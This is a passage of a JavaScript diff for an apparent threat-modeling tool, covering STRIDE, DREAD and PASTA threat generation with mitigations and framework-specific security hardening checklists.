const hasCi = files.some(f => /(?:\.github\/workflows|\.gitlab-ci|jenkinsfile|\.circleci)/i.test(f.path));
|
|
2230
|
+
// S — Spoofing
|
|
2231
|
+
if (hasAuth) {
|
|
2232
|
+
threats.push({
|
|
2233
|
+
category: 'Spoofing',
|
|
2234
|
+
threat: 'Identity Spoofing via Credential Theft',
|
|
2235
|
+
description: 'Attacker steals or guesses user credentials to impersonate legitimate users',
|
|
2236
|
+
affected: files.filter(f => /(?:auth|login|session)/i.test(f.path)).map(f => relative(baseDir, f.path)),
|
|
2237
|
+
severity: 'high',
|
|
2238
|
+
mitigation: 'Implement MFA, use strong password policies, implement account lockout after failed attempts',
|
|
2239
|
+
});
|
|
2240
|
+
threats.push({
|
|
2241
|
+
category: 'Spoofing',
|
|
2242
|
+
threat: 'Session Hijacking',
|
|
2243
|
+
description: 'Attacker steals session tokens via XSS, network sniffing, or cookie theft',
|
|
2244
|
+
affected: files.filter(f => /(?:session|cookie|token)/i.test(f.content)).map(f => relative(baseDir, f.path)).slice(0, 5),
|
|
2245
|
+
severity: 'high',
|
|
2246
|
+
mitigation: 'Use httpOnly, secure, sameSite cookies. Implement session rotation. Use short-lived tokens.',
|
|
2247
|
+
});
|
|
2248
|
+
}
|
|
2249
|
+
if (hasApi) {
|
|
2250
|
+
threats.push({
|
|
2251
|
+
category: 'Spoofing',
|
|
2252
|
+
threat: 'API Key Impersonation',
|
|
2253
|
+
description: 'Attacker uses leaked or stolen API keys to access protected endpoints',
|
|
2254
|
+
affected: files.filter(f => /(?:api|route|endpoint)/i.test(f.path)).map(f => relative(baseDir, f.path)).slice(0, 5),
|
|
2255
|
+
severity: 'high',
|
|
2256
|
+
mitigation: 'Rotate API keys regularly. Use scoped keys with minimum permissions. Monitor for anomalous usage.',
|
|
2257
|
+
});
|
|
2258
|
+
}
|
|
2259
|
+
if (hasEmail) {
|
|
2260
|
+
threats.push({
|
|
2261
|
+
category: 'Spoofing',
|
|
2262
|
+
threat: 'Email Spoofing / Phishing',
|
|
2263
|
+
description: 'Attacker sends emails appearing to be from the application to trick users',
|
|
2264
|
+
affected: files.filter(f => /(?:email|mail|smtp)/i.test(f.content)).map(f => relative(baseDir, f.path)).slice(0, 3),
|
|
2265
|
+
severity: 'medium',
|
|
2266
|
+
mitigation: 'Configure SPF, DKIM, DMARC for email domain. Validate sender addresses.',
|
|
2267
|
+
});
|
|
2268
|
+
}
|
|
2269
|
+
// T — Tampering
|
|
2270
|
+
if (hasDb) {
|
|
2271
|
+
threats.push({
|
|
2272
|
+
category: 'Tampering',
|
|
2273
|
+
threat: 'Database Record Manipulation',
|
|
2274
|
+
description: 'Attacker modifies database records through SQL injection or direct access',
|
|
2275
|
+
affected: files.filter(f => /(?:database|db|model|schema|query)/i.test(f.path) || /(?:query|sql|select|insert|update|delete)/i.test(f.content)).map(f => relative(baseDir, f.path)).slice(0, 5),
|
|
2276
|
+
severity: 'critical',
|
|
2277
|
+
mitigation: 'Use parameterized queries. Implement row-level security. Enable audit logging on all tables.',
|
|
2278
|
+
});
|
|
2279
|
+
}
|
|
2280
|
+
if (hasApi) {
|
|
2281
|
+
threats.push({
|
|
2282
|
+
category: 'Tampering',
|
|
2283
|
+
threat: 'API Request Tampering',
|
|
2284
|
+
description: 'Attacker modifies request parameters, headers, or body to bypass validation',
|
|
2285
|
+
affected: files.filter(f => /(?:api|route|endpoint|controller)/i.test(f.path)).map(f => relative(baseDir, f.path)).slice(0, 5),
|
|
2286
|
+
severity: 'high',
|
|
2287
|
+
mitigation: 'Validate all inputs server-side with schema validation (zod). Never trust client-side validation alone.',
|
|
2288
|
+
});
|
|
2289
|
+
}
|
|
2290
|
+
if (hasFileUpload) {
|
|
2291
|
+
threats.push({
|
|
2292
|
+
category: 'Tampering',
|
|
2293
|
+
threat: 'Malicious File Upload',
|
|
2294
|
+
description: 'Attacker uploads executable files, web shells, or files with manipulated headers',
|
|
2295
|
+
affected: files.filter(f => /(?:upload|multer|formidable)/i.test(f.content)).map(f => relative(baseDir, f.path)),
|
|
2296
|
+
severity: 'high',
|
|
2297
|
+
mitigation: 'Validate file type by magic bytes. Restrict extensions. Store outside webroot. Scan for malware.',
|
|
2298
|
+
});
|
|
2299
|
+
}
|
|
2300
|
+
if (hasCi) {
|
|
2301
|
+
threats.push({
|
|
2302
|
+
category: 'Tampering',
|
|
2303
|
+
threat: 'CI/CD Pipeline Tampering',
|
|
2304
|
+
description: 'Attacker modifies CI/CD configuration or injects malicious build steps',
|
|
2305
|
+
affected: files.filter(f => /(?:\.github\/workflows|\.gitlab-ci|jenkinsfile)/i.test(f.path)).map(f => relative(baseDir, f.path)),
|
|
2306
|
+
severity: 'critical',
|
|
2307
|
+
mitigation: 'Require PR reviews for CI config changes. Pin action/image versions. Use signed commits.',
|
|
2308
|
+
});
|
|
2309
|
+
}
|
|
2310
|
+
// R — Repudiation
|
|
2311
|
+
if (hasAuth || hasApi) {
|
|
2312
|
+
threats.push({
|
|
2313
|
+
category: 'Repudiation',
|
|
2314
|
+
threat: 'Insufficient Audit Logging',
|
|
2315
|
+
description: 'Lack of comprehensive logging makes it impossible to trace malicious actions',
|
|
2316
|
+
affected: ['application-wide'],
|
|
2317
|
+
severity: 'medium',
|
|
2318
|
+
mitigation: 'Implement structured security logging. Log all auth events, data modifications, and admin actions with timestamps, user IDs, and IP addresses.',
|
|
2319
|
+
});
|
|
2320
|
+
}
|
|
2321
|
+
if (hasPayments) {
|
|
2322
|
+
threats.push({
|
|
2323
|
+
category: 'Repudiation',
|
|
2324
|
+
threat: 'Transaction Repudiation',
|
|
2325
|
+
description: 'User denies making a financial transaction due to lack of proof',
|
|
2326
|
+
affected: files.filter(f => /(?:payment|billing|invoice|transaction)/i.test(f.content)).map(f => relative(baseDir, f.path)),
|
|
2327
|
+
severity: 'high',
|
|
2328
|
+
mitigation: 'Log all transactions with full audit trail. Use digital signatures for critical operations. Store transaction receipts.',
|
|
2329
|
+
});
|
|
2330
|
+
}
|
|
2331
|
+
// I — Information Disclosure
|
|
2332
|
+
threats.push({
|
|
2333
|
+
category: 'Information Disclosure',
|
|
2334
|
+
threat: 'Sensitive Data Exposure via Error Messages',
|
|
2335
|
+
description: 'Application leaks internal details through error messages, stack traces, or debug output',
|
|
2336
|
+
affected: ['application-wide'],
|
|
2337
|
+
severity: 'medium',
|
|
2338
|
+
mitigation: 'Use generic error messages in production. Log detailed errors server-side only. Disable debug mode.',
|
|
2339
|
+
});
|
|
2340
|
+
if (hasDb) {
|
|
2341
|
+
threats.push({
|
|
2342
|
+
category: 'Information Disclosure',
|
|
2343
|
+
threat: 'Database Credential Exposure',
|
|
2344
|
+
description: 'Database connection strings or credentials leaked through source code, logs, or config files',
|
|
2345
|
+
affected: files.filter(f => /(?:database|db|\.env|config)/i.test(f.path)).map(f => relative(baseDir, f.path)).slice(0, 5),
|
|
2346
|
+
severity: 'critical',
|
|
2347
|
+
mitigation: 'Store credentials in environment variables or secrets manager. Never commit .env files.',
|
|
2348
|
+
});
|
|
2349
|
+
}
|
|
2350
|
+
if (hasCrypto) {
|
|
2351
|
+
threats.push({
|
|
2352
|
+
category: 'Information Disclosure',
|
|
2353
|
+
threat: 'Cryptographic Key Exposure',
|
|
2354
|
+
description: 'Encryption keys leaked through source code, logs, or insecure storage',
|
|
2355
|
+
affected: files.filter(f => /(?:key|secret|encrypt|cipher)/i.test(f.content)).map(f => relative(baseDir, f.path)).slice(0, 5),
|
|
2356
|
+
severity: 'critical',
|
|
2357
|
+
mitigation: 'Use key management services (AWS KMS, Vault). Never hardcode keys. Rotate regularly.',
|
|
2358
|
+
});
|
|
2359
|
+
}
|
|
2360
|
+
if (hasExternalApi) {
|
|
2361
|
+
threats.push({
|
|
2362
|
+
category: 'Information Disclosure',
|
|
2363
|
+
threat: 'Data Leakage to Third Parties',
|
|
2364
|
+
description: 'Sensitive user data inadvertently sent to external APIs or analytics services',
|
|
2365
|
+
affected: files.filter(f => /(?:fetch|axios|analytics|tracking)/i.test(f.content)).map(f => relative(baseDir, f.path)).slice(0, 5),
|
|
2366
|
+
severity: 'medium',
|
|
2367
|
+
mitigation: 'Audit all external API calls. Minimize data sent. Review third-party privacy policies.',
|
|
2368
|
+
});
|
|
2369
|
+
}
|
|
2370
|
+
// D — Denial of Service
|
|
2371
|
+
if (hasApi) {
|
|
2372
|
+
threats.push({
|
|
2373
|
+
category: 'Denial of Service',
|
|
2374
|
+
threat: 'API Rate Limit Bypass',
|
|
2375
|
+
description: 'Attacker overwhelms API endpoints with excessive requests',
|
|
2376
|
+
affected: files.filter(f => /(?:api|route|endpoint)/i.test(f.path)).map(f => relative(baseDir, f.path)).slice(0, 5),
|
|
2377
|
+
severity: 'high',
|
|
2378
|
+
mitigation: 'Implement rate limiting per IP and per user. Use CDN for static assets. Add request size limits.',
|
|
2379
|
+
});
|
|
2380
|
+
}
|
|
2381
|
+
if (hasFileUpload) {
|
|
2382
|
+
threats.push({
|
|
2383
|
+
category: 'Denial of Service',
|
|
2384
|
+
threat: 'Resource Exhaustion via Large Uploads',
|
|
2385
|
+
description: 'Attacker uploads extremely large files to exhaust disk space or memory',
|
|
2386
|
+
affected: files.filter(f => /(?:upload|multer|formidable)/i.test(f.content)).map(f => relative(baseDir, f.path)),
|
|
2387
|
+
severity: 'medium',
|
|
2388
|
+
mitigation: 'Set strict file size limits. Use streaming uploads. Implement disk quotas per user.',
|
|
2389
|
+
});
|
|
2390
|
+
}
|
|
2391
|
+
if (hasWebSocket) {
|
|
2392
|
+
threats.push({
|
|
2393
|
+
category: 'Denial of Service',
|
|
2394
|
+
threat: 'WebSocket Flood',
|
|
2395
|
+
description: 'Attacker opens many WebSocket connections or sends rapid messages',
|
|
2396
|
+
affected: files.filter(f => /(?:websocket|socket\.io|ws)/i.test(f.content)).map(f => relative(baseDir, f.path)),
|
|
2397
|
+
severity: 'medium',
|
|
2398
|
+
mitigation: 'Limit connections per IP. Implement message rate limiting. Add heartbeat/timeout.',
|
|
2399
|
+
});
|
|
2400
|
+
}
|
|
2401
|
+
threats.push({
|
|
2402
|
+
category: 'Denial of Service',
|
|
2403
|
+
threat: 'Regular Expression Denial of Service (ReDoS)',
|
|
2404
|
+
description: 'User-supplied input causes catastrophic regex backtracking',
|
|
2405
|
+
affected: ['application-wide — any regex processing user input'],
|
|
2406
|
+
severity: 'medium',
|
|
2407
|
+
mitigation: 'Avoid user input in regex construction. Use RE2 engine. Set execution timeouts.',
|
|
2408
|
+
});
|
|
2409
|
+
// E — Elevation of Privilege
|
|
2410
|
+
if (hasAuth && hasAdmin) {
|
|
2411
|
+
threats.push({
|
|
2412
|
+
category: 'Elevation of Privilege',
|
|
2413
|
+
threat: 'Horizontal Privilege Escalation',
|
|
2414
|
+
description: 'User accesses resources belonging to another user of the same role',
|
|
2415
|
+
affected: files.filter(f => /(?:api|route|controller)/i.test(f.path)).map(f => relative(baseDir, f.path)).slice(0, 5),
|
|
2416
|
+
severity: 'high',
|
|
2417
|
+
mitigation: 'Always check resource ownership. Use row-level security. Never rely on client-provided user IDs.',
|
|
2418
|
+
});
|
|
2419
|
+
threats.push({
|
|
2420
|
+
category: 'Elevation of Privilege',
|
|
2421
|
+
threat: 'Vertical Privilege Escalation (User to Admin)',
|
|
2422
|
+
description: 'Regular user gains admin access through role manipulation or IDOR',
|
|
2423
|
+
affected: files.filter(f => /(?:admin|role|permission|rbac)/i.test(f.content)).map(f => relative(baseDir, f.path)).slice(0, 5),
|
|
2424
|
+
severity: 'critical',
|
|
2425
|
+
mitigation: 'Validate roles server-side on every request. Use RBAC with principle of least privilege. Audit role changes.',
|
|
2426
|
+
});
|
|
2427
|
+
}
|
|
2428
|
+
if (hasDocker) {
|
|
2429
|
+
threats.push({
|
|
2430
|
+
category: 'Elevation of Privilege',
|
|
2431
|
+
threat: 'Container Escape',
|
|
2432
|
+
description: 'Attacker escapes Docker container to access host system',
|
|
2433
|
+
affected: files.filter(f => /docker/i.test(f.path)).map(f => relative(baseDir, f.path)),
|
|
2434
|
+
severity: 'critical',
|
|
2435
|
+
mitigation: 'Use non-root user in containers. Drop capabilities. Use read-only filesystem. Enable seccomp/AppArmor.',
|
|
2436
|
+
});
|
|
2437
|
+
}
|
|
2438
|
+
threats.push({
|
|
2439
|
+
category: 'Elevation of Privilege',
|
|
2440
|
+
threat: 'Dependency Hijacking',
|
|
2441
|
+
description: 'Attacker compromises a dependency to execute malicious code in the application context',
|
|
2442
|
+
affected: ['package.json', 'package-lock.json'],
|
|
2443
|
+
severity: 'high',
|
|
2444
|
+
mitigation: 'Pin dependencies. Use lock files. Run npm audit. Enable Dependabot/Renovate. Verify package integrity.',
|
|
2445
|
+
});
|
|
2446
|
+
return threats;
|
|
2447
|
+
}
|
|
2448
|
+
function analyzeDREAD(files, baseDir) {
|
|
2449
|
+
// DREAD: Damage, Reproducibility, Exploitability, Affected Users, Discoverability
|
|
2450
|
+
// We reuse STRIDE findings but score them with DREAD metrics
|
|
2451
|
+
const strideThreats = analyzeSTRIDE(files, baseDir);
|
|
2452
|
+
// Add DREAD scoring context to descriptions
|
|
2453
|
+
return strideThreats.map(t => ({
|
|
2454
|
+
...t,
|
|
2455
|
+
description: `${t.description}\n\n**DREAD Score**: Damage=${dreadScore(t.severity, 'damage')}/10, Reproducibility=${dreadScore(t.severity, 'repro')}/10, Exploitability=${dreadScore(t.severity, 'exploit')}/10, Affected Users=${dreadScore(t.severity, 'affected')}/10, Discoverability=${dreadScore(t.severity, 'discover')}/10`,
|
|
2456
|
+
}));
|
|
2457
|
+
}
|
|
2458
|
+
function dreadScore(severity, dimension) {
|
|
2459
|
+
const base = { critical: 9, high: 7, medium: 5, low: 3 };
|
|
2460
|
+
const s = base[severity] || 5;
|
|
2461
|
+
switch (dimension) {
|
|
2462
|
+
case 'damage': return s;
|
|
2463
|
+
case 'repro': return Math.min(10, s + 1);
|
|
2464
|
+
case 'exploit': return Math.max(1, s - 1);
|
|
2465
|
+
case 'affected': return s;
|
|
2466
|
+
case 'discover': return Math.min(10, s + 2);
|
|
2467
|
+
default: return s;
|
|
2468
|
+
}
|
|
2469
|
+
}
|
|
2470
|
+
function analyzePASTA(files, baseDir) {
|
|
2471
|
+
// PASTA: Process for Attack Simulation and Threat Analysis
|
|
2472
|
+
// 7 stages: Define Objectives, Define Technical Scope, App Decomposition,
|
|
2473
|
+
// Threat Analysis, Vulnerability Analysis, Attack Modeling, Risk Analysis
|
|
2474
|
+
const strideThreats = analyzeSTRIDE(files, baseDir);
|
|
2475
|
+
// Enrich with PASTA-specific context
|
|
2476
|
+
const hasPackageJson = files.some(f => f.path.endsWith('package.json'));
|
|
2477
|
+
const techStack = [];
|
|
2478
|
+
if (files.some(f => f.ext === '.ts' || f.ext === '.tsx'))
|
|
2479
|
+
techStack.push('TypeScript');
|
|
2480
|
+
if (files.some(f => f.ext === '.py'))
|
|
2481
|
+
techStack.push('Python');
|
|
2482
|
+
if (files.some(f => f.ext === '.go'))
|
|
2483
|
+
techStack.push('Go');
|
|
2484
|
+
if (files.some(f => f.ext === '.java'))
|
|
2485
|
+
techStack.push('Java');
|
|
2486
|
+
if (files.some(f => f.ext === '.rb'))
|
|
2487
|
+
techStack.push('Ruby');
|
|
2488
|
+
if (files.some(f => f.ext === '.rs'))
|
|
2489
|
+
techStack.push('Rust');
|
|
2490
|
+
if (files.some(f => f.ext === '.php'))
|
|
2491
|
+
techStack.push('PHP');
|
|
2492
|
+
if (files.some(f => /react|jsx|tsx/i.test(f.path)))
|
|
2493
|
+
techStack.push('React');
|
|
2494
|
+
if (files.some(f => /express/i.test(f.content)))
|
|
2495
|
+
techStack.push('Express.js');
|
|
2496
|
+
if (files.some(f => /next/i.test(f.path)))
|
|
2497
|
+
techStack.push('Next.js');
|
|
2498
|
+
if (files.some(f => /django/i.test(f.content)))
|
|
2499
|
+
techStack.push('Django');
|
|
2500
|
+
if (files.some(f => /flask/i.test(f.content)))
|
|
2501
|
+
techStack.push('Flask');
|
|
2502
|
+
if (files.some(f => /fastify/i.test(f.content)))
|
|
2503
|
+
techStack.push('Fastify');
|
|
2504
|
+
// Add PASTA stage context
|
|
2505
|
+
const pastaThreats = [
|
|
2506
|
+
{
|
|
2507
|
+
category: 'PASTA Stage 1 — Business Objectives',
|
|
2508
|
+
threat: 'Business Impact Assessment',
|
|
2509
|
+
description: `Application uses: ${techStack.join(', ') || 'unknown stack'}. Total files scanned: ${files.length}. Threat analysis identifies ${strideThreats.length} potential threats across ${new Set(strideThreats.map(t => t.category)).size} categories.`,
|
|
2510
|
+
affected: ['application-wide'],
|
|
2511
|
+
severity: 'info',
|
|
2512
|
+
mitigation: 'Review each threat against business risk tolerance. Prioritize based on business impact.',
|
|
2513
|
+
},
|
|
2514
|
+
{
|
|
2515
|
+
category: 'PASTA Stage 2 — Technical Scope',
|
|
2516
|
+
threat: 'Attack Surface Enumeration',
|
|
2517
|
+
description: `Tech stack: ${techStack.join(', ')}. Entry points: API routes, WebSocket handlers, file uploads, authentication endpoints, admin panels.`,
|
|
2518
|
+
affected: ['application-wide'],
|
|
2519
|
+
severity: 'info',
|
|
2520
|
+
mitigation: 'Map all entry points and data flows. Identify trust boundaries between components.',
|
|
2521
|
+
},
|
|
2522
|
+
...strideThreats,
|
|
2523
|
+
];
|
|
2524
|
+
return pastaThreats;
|
|
2525
|
+
}
|
|
2526
|
+
// ── Security Checklist Generators ──────────────────────────────────────────────
|
|
2527
|
+
function generateChecklist(framework) {
|
|
2528
|
+
const lines = ['# Security Hardening Checklist', ''];
|
|
2529
|
+
// Universal checks
|
|
2530
|
+
lines.push('## 1. Authentication & Authorization');
|
|
2531
|
+
lines.push('- [ ] All endpoints require authentication (except public routes)');
|
|
2532
|
+
lines.push('- [ ] Role-based access control (RBAC) implemented');
|
|
2533
|
+
lines.push('- [ ] Password minimum length >= 12 characters');
|
|
2534
|
+
lines.push('- [ ] Password complexity requirements enforced');
|
|
2535
|
+
lines.push('- [ ] Account lockout after 5 failed login attempts');
|
|
2536
|
+
lines.push('- [ ] MFA available and encouraged');
|
|
2537
|
+
lines.push('- [ ] Session timeout configured (max 24h, 15min for idle)');
|
|
2538
|
+
lines.push('- [ ] Session regeneration after login');
|
|
2539
|
+
lines.push('- [ ] Password reset via secure token (not email link with password)');
|
|
2540
|
+
lines.push('- [ ] OAuth/OIDC state parameter validated');
|
|
2541
|
+
lines.push('- [ ] JWT: no "none" algorithm, short expiry, proper validation');
|
|
2542
|
+
lines.push('- [ ] API keys: scoped, rotatable, hashed in storage');
|
|
2543
|
+
lines.push('');
|
|
2544
|
+
lines.push('## 2. Input Validation & Output Encoding');
|
|
2545
|
+
lines.push('- [ ] All user input validated server-side (never trust client)');
|
|
2546
|
+
lines.push('- [ ] Schema validation on all API endpoints (zod/joi/ajv)');
|
|
2547
|
+
lines.push('- [ ] Parameterized queries for ALL database operations');
|
|
2548
|
+
lines.push('- [ ] Output encoding for HTML, JavaScript, URL, CSS contexts');
|
|
2549
|
+
lines.push('- [ ] File upload: type validation by magic bytes, size limits');
|
|
2550
|
+
lines.push('- [ ] URL validation for redirects (allowlist domains)');
|
|
2551
|
+
lines.push('- [ ] HTML sanitization for any user-generated rich content');
|
|
2552
|
+
lines.push('- [ ] JSON schema validation for webhook payloads');
|
|
2553
|
+
lines.push('- [ ] Request size limits configured');
|
|
2554
|
+
lines.push('');
|
|
2555
|
+
lines.push('## 3. Security Headers');
|
|
2556
|
+
lines.push('- [ ] Content-Security-Policy (CSP) configured');
|
|
2557
|
+
lines.push('- [ ] Strict-Transport-Security (HSTS) with preload');
|
|
2558
|
+
lines.push('- [ ] X-Content-Type-Options: nosniff');
|
|
2559
|
+
lines.push('- [ ] X-Frame-Options: DENY (or CSP frame-ancestors)');
|
|
2560
|
+
lines.push('- [ ] Referrer-Policy: strict-origin-when-cross-origin');
|
|
2561
|
+
lines.push('- [ ] Permissions-Policy (disable unused browser features)');
|
|
2562
|
+
lines.push('- [ ] X-Powered-By header removed');
|
|
2563
|
+
lines.push('- [ ] Server header removed or generic');
|
|
2564
|
+
lines.push('');
|
|
2565
|
+
lines.push('## 4. Cryptography');
|
|
2566
|
+
lines.push('- [ ] Passwords hashed with bcrypt/argon2id (not MD5/SHA)');
|
|
2567
|
+
lines.push('- [ ] Encryption at rest for sensitive data (AES-256-GCM)');
|
|
2568
|
+
lines.push('- [ ] TLS 1.2+ enforced for all connections');
|
|
2569
|
+
lines.push('- [ ] No hardcoded encryption keys or IVs');
|
|
2570
|
+
lines.push('- [ ] Secure random generation (crypto.randomBytes, not Math.random)');
|
|
2571
|
+
lines.push('- [ ] Timing-safe comparison for tokens/signatures');
|
|
2572
|
+
lines.push('- [ ] Certificate pinning for critical API connections');
|
|
2573
|
+
lines.push('- [ ] Key rotation policy in place');
|
|
2574
|
+
lines.push('');
|
|
2575
|
+
lines.push('## 5. Error Handling & Logging');
|
|
2576
|
+
lines.push('- [ ] Generic error messages to users (no stack traces)');
|
|
2577
|
+
lines.push('- [ ] Detailed errors logged server-side only');
|
|
2578
|
+
lines.push('- [ ] Security events logged (auth, access denied, rate limits)');
|
|
2579
|
+
lines.push('- [ ] Audit trail for data modifications');
|
|
2580
|
+
lines.push('- [ ] Log injection prevention (sanitize log inputs)');
|
|
2581
|
+
lines.push('- [ ] No sensitive data in logs (passwords, tokens, PII)');
|
|
2582
|
+
lines.push('- [ ] Log retention and rotation policy');
|
|
2583
|
+
lines.push('- [ ] Alerting on suspicious patterns');
|
|
2584
|
+
lines.push('');
|
|
2585
|
+
lines.push('## 6. Rate Limiting & DoS Prevention');
|
|
2586
|
+
lines.push('- [ ] Global rate limiting on all endpoints');
|
|
2587
|
+
lines.push('- [ ] Strict rate limiting on auth endpoints (5 per 15min)');
|
|
2588
|
+
lines.push('- [ ] Request body size limits');
|
|
2589
|
+
lines.push('- [ ] File upload size limits');
|
|
2590
|
+
lines.push('- [ ] Pagination limits (max page size)');
|
|
2591
|
+
lines.push('- [ ] Query complexity limits (GraphQL depth, width)');
|
|
2592
|
+
lines.push('- [ ] WebSocket message rate limiting');
|
|
2593
|
+
lines.push('- [ ] Slow-loris protection (connection timeouts)');
|
|
2594
|
+
lines.push('');
|
|
2595
|
+
lines.push('## 7. CORS & CSRF');
|
|
2596
|
+
lines.push('- [ ] CORS: specific origins (no wildcard with credentials)');
|
|
2597
|
+
lines.push('- [ ] CORS: only necessary methods and headers allowed');
|
|
2598
|
+
lines.push('- [ ] CSRF tokens for state-changing requests');
|
|
2599
|
+
lines.push('- [ ] SameSite cookie attribute set to Strict or Lax');
|
|
2600
|
+
lines.push('- [ ] Origin/Referer header validation');
|
|
2601
|
+
lines.push('');
|
|
2602
|
+
lines.push('## 8. Dependency Management');
|
|
2603
|
+
lines.push('- [ ] Lock file committed (package-lock.json / yarn.lock)');
|
|
2604
|
+
lines.push('- [ ] Regular dependency audits (npm audit / snyk)');
|
|
2605
|
+
lines.push('- [ ] Automated dependency updates (Dependabot / Renovate)');
|
|
2606
|
+
lines.push('- [ ] No known critical/high CVEs in dependencies');
|
|
2607
|
+
lines.push('- [ ] Pinned versions for CI/CD tooling');
|
|
2608
|
+
lines.push('- [ ] Supply chain verification (npm provenance)');
|
|
2609
|
+
lines.push('');
|
|
2610
|
+
lines.push('## 9. Secrets Management');
|
|
2611
|
+
lines.push('- [ ] No secrets in source code (scan with gitleaks/trufflehog)');
|
|
2612
|
+
lines.push('- [ ] .env files in .gitignore');
|
|
2613
|
+
lines.push('- [ ] Environment variables for all configuration');
|
|
2614
|
+
lines.push('- [ ] Secrets manager for production (AWS SM, Vault, Doppler)');
|
|
2615
|
+
lines.push('- [ ] Secret rotation policy');
|
|
2616
|
+
lines.push('- [ ] Different secrets per environment (dev/staging/prod)');
|
|
2617
|
+
lines.push('');
|
|
2618
|
+
lines.push('## 10. Infrastructure & Deployment');
|
|
2619
|
+
lines.push('- [ ] HTTPS everywhere (redirect HTTP to HTTPS)');
|
|
2620
|
+
lines.push('- [ ] Production debug mode disabled');
|
|
2621
|
+
lines.push('- [ ] Source maps disabled in production (or access-restricted)');
|
|
2622
|
+
lines.push('- [ ] Database not publicly accessible');
|
|
2623
|
+
lines.push('- [ ] Firewall rules: minimum necessary ports');
|
|
2624
|
+
lines.push('- [ ] Container: non-root user, read-only filesystem');
|
|
2625
|
+
lines.push('- [ ] CI/CD: pinned actions, no secrets in logs');
|
|
2626
|
+
lines.push('- [ ] Backup and disaster recovery tested');
|
|
2627
|
+
lines.push('');
|
|
2628
|
+
// Framework-specific checks
|
|
2629
|
+
if (framework === 'express') {
|
|
2630
|
+
lines.push('## Express.js Specific');
|
|
2631
|
+
lines.push('- [ ] helmet() middleware installed and configured');
|
|
2632
|
+
lines.push('- [ ] express-rate-limit on auth routes');
|
|
2633
|
+
lines.push('- [ ] cors() with specific origins');
|
|
2634
|
+
lines.push('- [ ] cookie-parser with signed cookies');
|
|
2635
|
+
lines.push('- [ ] express-session with secure store (Redis/Postgres)');
|
|
2636
|
+
lines.push('- [ ] body-parser limits configured ({ limit: "1mb" })');
|
|
2637
|
+
lines.push('- [ ] trust proxy configured correctly for reverse proxy');
|
|
2638
|
+
lines.push('- [ ] Error handling middleware (no default stack traces)');
|
|
2639
|
+
lines.push('- [ ] No express-validator bypasses');
|
|
2640
|
+
lines.push('- [ ] Disable x-powered-by: app.disable("x-powered-by")');
|
|
2641
|
+
lines.push('');
|
|
2642
|
+
}
|
|
2643
|
+
if (framework === 'nextjs') {
|
|
2644
|
+
lines.push('## Next.js Specific');
|
|
2645
|
+
lines.push('- [ ] Security headers in next.config.js');
|
|
2646
|
+
lines.push('- [ ] API routes: validate authentication');
|
|
2647
|
+
lines.push('- [ ] Server Components: no client data leaks');
|
|
2648
|
+
lines.push('- [ ] Middleware: auth check before page render');
|
|
2649
|
+
lines.push('- [ ] Environment variables: NEXT_PUBLIC_ only for safe values');
|
|
2650
|
+
lines.push('- [ ] Image optimization: restrict domains');
|
|
2651
|
+
lines.push('- [ ] rewrites/redirects: no open redirect patterns');
|
|
2652
|
+
lines.push('- [ ] getServerSideProps: validate user session');
|
|
2653
|
+
lines.push('- [ ] Server Actions: validate input, check auth');
|
|
2654
|
+
lines.push('- [ ] No sensitive data in client bundles');
|
|
2655
|
+
lines.push('');
|
|
2656
|
+
}
|
|
2657
|
+
if (framework === 'fastify') {
|
|
2658
|
+
lines.push('## Fastify Specific');
|
|
2659
|
+
lines.push('- [ ] @fastify/helmet registered');
|
|
2660
|
+
lines.push('- [ ] @fastify/rate-limit on auth routes');
|
|
2661
|
+
lines.push('- [ ] @fastify/cors with specific origins');
|
|
2662
|
+
lines.push('- [ ] @fastify/csrf-protection enabled');
|
|
2663
|
+
lines.push('- [ ] @fastify/secure-session configured');
|
|
2664
|
+
lines.push('- [ ] JSON schema validation on all routes');
|
|
2665
|
+
lines.push('- [ ] bodyLimit configured (default 1MB)');
|
|
2666
|
+
lines.push('- [ ] Error serializer: no stack traces in production');
|
|
2667
|
+
lines.push('- [ ] Trust proxy configured for reverse proxy');
|
|
2668
|
+
lines.push('');
|
|
2669
|
+
}
|
|
2670
|
+
if (framework === 'django') {
|
|
2671
|
+
lines.push('## Django Specific');
|
|
2672
|
+
lines.push('- [ ] DEBUG = False in production');
|
|
2673
|
+
lines.push('- [ ] SECRET_KEY from environment variable (not hardcoded)');
|
|
2674
|
+
lines.push('- [ ] ALLOWED_HOSTS configured');
|
|
2675
|
+
lines.push('- [ ] CSRF_COOKIE_SECURE = True');
|
|
2676
|
+
lines.push('- [ ] SESSION_COOKIE_SECURE = True');
|
|
2677
|
+
lines.push('- [ ] SESSION_COOKIE_HTTPONLY = True');
|
|
2678
|
+
lines.push('- [ ] SECURE_BROWSER_XSS_FILTER = True');
|
|
2679
|
+
lines.push('- [ ] SECURE_CONTENT_TYPE_NOSNIFF = True');
|
|
2680
|
+
lines.push('- [ ] SECURE_HSTS_SECONDS configured');
|
|
2681
|
+
lines.push('- [ ] SECURE_SSL_REDIRECT = True');
|
|
2682
|
+
lines.push('- [ ] SecurityMiddleware enabled');
|
|
2683
|
+
lines.push('- [ ] django.contrib.admin URL randomized');
|
|
2684
|
+
lines.push('- [ ] ORM used (no raw SQL with user input)');
|
|
2685
|
+
lines.push('- [ ] manage.py check --deploy passes');
|
|
2686
|
+
lines.push('');
|
|
2687
|
+
}
|
|
2688
|
+
if (framework === 'flask') {
|
|
2689
|
+
lines.push('## Flask Specific');
|
|
2690
|
+
lines.push('- [ ] app.debug = False in production');
|
|
2691
|
+
lines.push('- [ ] SECRET_KEY from environment variable');
|
|
2692
|
+
lines.push('- [ ] Flask-Talisman for security headers');
|
|
2693
|
+
lines.push('- [ ] Flask-WTF for CSRF protection');
|
|
2694
|
+
lines.push('- [ ] Flask-Limiter for rate limiting');
|
|
2695
|
+
lines.push('- [ ] Session cookie: httponly, secure, samesite');
|
|
2696
|
+
lines.push('- [ ] SQLAlchemy parameterized queries (no raw SQL)');
|
|
2697
|
+
lines.push('- [ ] Jinja2 auto-escaping enabled (default)');
|
|
2698
|
+
lines.push('- [ ] No render_template_string with user input');
|
|
2699
|
+
lines.push('- [ ] Blueprint-level auth decorators');
|
|
2700
|
+
lines.push('');
|
|
2701
|
+
}
|
|
2702
|
+
if (framework === 'rails') {
|
|
2703
|
+
lines.push('## Ruby on Rails Specific');
|
|
2704
|
+
lines.push('- [ ] config.force_ssl = true');
|
|
2705
|
+
lines.push('- [ ] secret_key_base from environment');
|
|
2706
|
+
lines.push('- [ ] Strong Parameters on all controllers');
|
|
2707
|
+
lines.push('- [ ] CSRF protection: protect_from_forgery');
|
|
2708
|
+
lines.push('- [ ] Content Security Policy configured');
|
|
2709
|
+
